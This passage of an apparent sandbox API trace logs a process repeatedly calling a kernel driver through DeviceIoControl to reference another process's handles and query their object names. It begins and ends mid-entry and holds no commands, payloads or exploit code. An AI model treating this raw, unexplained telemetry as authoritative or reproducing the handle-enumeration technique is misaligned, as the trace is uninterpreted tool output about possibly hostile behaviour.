| out: Process=0xfffff88005473558) returned 0x0 [0136.594] PsAcquireProcessExitSynchronization () returned 0x0 [0136.594] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0) [0136.595] ObReferenceObjectByHandle (in: Handle=0x110, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0136.595] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.595] PsReleaseProcessExitSynchronization () returned 0x2 [0136.595] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0136.595] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.595] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0136.595] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.595] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.595] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.595] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0136.595] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.595] PsAcquireProcessExitSynchronization () returned 0x0 [0136.595] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0) [0136.595] ObReferenceObjectByHandle (in: Handle=0x118, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0136.595] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.595] PsReleaseProcessExitSynchronization () returned 0x2 [0136.595] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0136.595] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.595] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0136.595] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.595] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.595] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.595] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x44, lpOverlapped=0x0) returned 1 [0136.595] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.595] PsAcquireProcessExitSynchronization () returned 0x0 [0136.595] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0) [0136.595] ObReferenceObjectByHandle (in: Handle=0x15c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003181ea0, HandleInformation=0x0) returned 0x0 [0136.595] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.595] PsReleaseProcessExitSynchronization () returned 0x2 [0136.595] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0136.595] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.595] ObfDereferenceObject (Object=0xfffffa8003181ea0) returned 0x1 [0136.595] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.596] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.596] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.596] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x42, lpOverlapped=0x0) returned 1 [0136.596] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.596] PsAcquireProcessExitSynchronization () returned 0x0 [0136.596] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0) [0136.596] ObReferenceObjectByHandle (in: Handle=0x180, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003170460, HandleInformation=0x0) returned 0x0 [0136.596] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.596] PsReleaseProcessExitSynchronization () returned 0x2 [0136.596] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0136.596] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.596] ObfDereferenceObject (Object=0xfffffa8003170460) returned 0x1 [0136.596] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.596] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.596] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.596] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0136.596] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.596] PsAcquireProcessExitSynchronization () returned 0x0 [0136.596] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0) [0136.596] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031a2070, HandleInformation=0x0) returned 0x0 [0136.596] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.596] PsReleaseProcessExitSynchronization () returned 0x2 [0136.596] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0136.596] ObQueryNameString (in: Object=0xfffffa80031a2070, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.596] ObfDereferenceObject (Object=0xfffffa80031a2070) returned 0x1 [0136.596] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.596] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.596] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.596] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x28, lpOverlapped=0x0) returned 1 [0136.596] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.596] PsAcquireProcessExitSynchronization () returned 0x0 [0136.597] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0) [0136.597] ObReferenceObjectByHandle (in: Handle=0x298, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031a6600, HandleInformation=0x0) returned 0x0 [0136.597] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.597] PsReleaseProcessExitSynchronization () returned 0x2 [0136.597] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0136.597] ObQueryNameString (in: Object=0xfffffa80031a6600, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.597] ObfDereferenceObject (Object=0xfffffa80031a6600) returned 0x3 [0136.597] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.597] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.597] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.597] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0136.597] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.597] PsAcquireProcessExitSynchronization () returned 0x0 [0136.597] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0) [0136.597] ObReferenceObjectByHandle (in: Handle=0x2c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031ab710, HandleInformation=0x0) returned 0x0 [0136.597] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.597] PsReleaseProcessExitSynchronization () returned 0x2 [0136.597] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0136.597] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.597] ObfDereferenceObject (Object=0xfffffa80031ab710) returned 0x1 [0136.597] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.597] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.597] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.597] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0136.597] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.597] PsAcquireProcessExitSynchronization () returned 0x0 [0136.597] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0) [0136.597] ObReferenceObjectByHandle (in: Handle=0x468, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031ea850, HandleInformation=0x0) returned 0x0 [0136.598] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.598] PsReleaseProcessExitSynchronization () returned 0x2 [0136.598] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0136.598] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.598] ObfDereferenceObject (Object=0xfffffa80031ea850) returned 0x1 [0136.598] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.598] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.598] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.598] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0136.598] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.598] PsAcquireProcessExitSynchronization () returned 0x0 [0136.598] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0) [0136.598] ObReferenceObjectByHandle (in: Handle=0x46c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003409980, HandleInformation=0x0) returned 0x0 [0136.598] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.598] PsReleaseProcessExitSynchronization () returned 0x2 [0136.598] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0136.598] ObQueryNameString (in: Object=0xfffffa8003409980, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.598] ObfDereferenceObject (Object=0xfffffa8003409980) returned 0x1 [0136.598] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.598] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.598] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.598] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0136.598] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.598] PsAcquireProcessExitSynchronization () returned 0x0 [0136.598] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0) [0136.598] ObReferenceObjectByHandle (in: Handle=0x470, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80034096e0, HandleInformation=0x0) returned 0x0 [0136.598] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.598] PsReleaseProcessExitSynchronization () returned 0x2 [0136.598] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0136.598] ObQueryNameString (in: Object=0xfffffa80034096e0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.598] ObfDereferenceObject (Object=0xfffffa80034096e0) returned 0x2 [0136.598] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.598] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.598] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.599] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0136.599] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.599] PsAcquireProcessExitSynchronization () returned 0x0 [0136.599] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0) [0136.599] ObReferenceObjectByHandle (in: Handle=0x474, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003409590, HandleInformation=0x0) returned 0x0 [0136.599] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.599] PsReleaseProcessExitSynchronization () returned 0x2 [0136.599] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0136.599] ObQueryNameString (in: Object=0xfffffa8003409590, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.599] ObfDereferenceObject (Object=0xfffffa8003409590) returned 0x1 [0136.599] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.599] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.599] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.599] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0136.599] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.599] PsAcquireProcessExitSynchronization () returned 0x0 [0136.599] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0) [0136.599] ObReferenceObjectByHandle (in: Handle=0x588, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0136.599] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.599] PsReleaseProcessExitSynchronization () returned 0x2 [0136.599] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0136.599] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa8001fc2044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc2044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.599] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x6 [0136.599] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.599] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.599] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.599] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0136.599] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.599] PsAcquireProcessExitSynchronization () returned 0x0 [0136.599] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0) [0136.599] ObReferenceObjectByHandle (in: Handle=0x58c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003b68070, HandleInformation=0x0) returned 0x0 [0136.599] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.599] PsReleaseProcessExitSynchronization () returned 0x2 [0136.600] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0136.600] ObQueryNameString (in: Object=0xfffffa8003b68070, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.600] ObfDereferenceObject (Object=0xfffffa8003b68070) returned 0x2 [0136.600] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.600] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.600] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.600] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0136.600] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.600] PsAcquireProcessExitSynchronization () returned 0x0 [0136.600] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0) [0136.600] ObReferenceObjectByHandle (in: Handle=0x590, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003b68b30, HandleInformation=0x0) returned 0x0 [0136.600] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.600] PsReleaseProcessExitSynchronization () returned 0x2 [0136.600] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0136.600] ObQueryNameString (in: Object=0xfffffa8003b68b30, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.600] ObfDereferenceObject (Object=0xfffffa8003b68b30) returned 0x1 [0136.600] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.600] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.600] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.600] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0136.600] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.600] PsAcquireProcessExitSynchronization () returned 0x0 [0136.600] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0) [0136.600] ObReferenceObjectByHandle (in: Handle=0x5d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0136.600] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.600] PsReleaseProcessExitSynchronization () returned 0x2 [0136.600] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0136.600] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0136.600] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0136.600] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.601] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.601] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.601] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0136.601] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.601] PsAcquireProcessExitSynchronization () returned 0x0 [0136.601] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0) [0136.601] ObReferenceObjectByHandle (in: Handle=0x670, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f8b590, HandleInformation=0x0) returned 0x0 [0136.601] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.601] PsReleaseProcessExitSynchronization () returned 0x2 [0136.601] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0136.601] ObQueryNameString (in: Object=0xfffffa8002f8b590, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0136.601] ObfDereferenceObject (Object=0xfffffa8002f8b590) returned 0x4 [0136.601] IofCompleteRequest 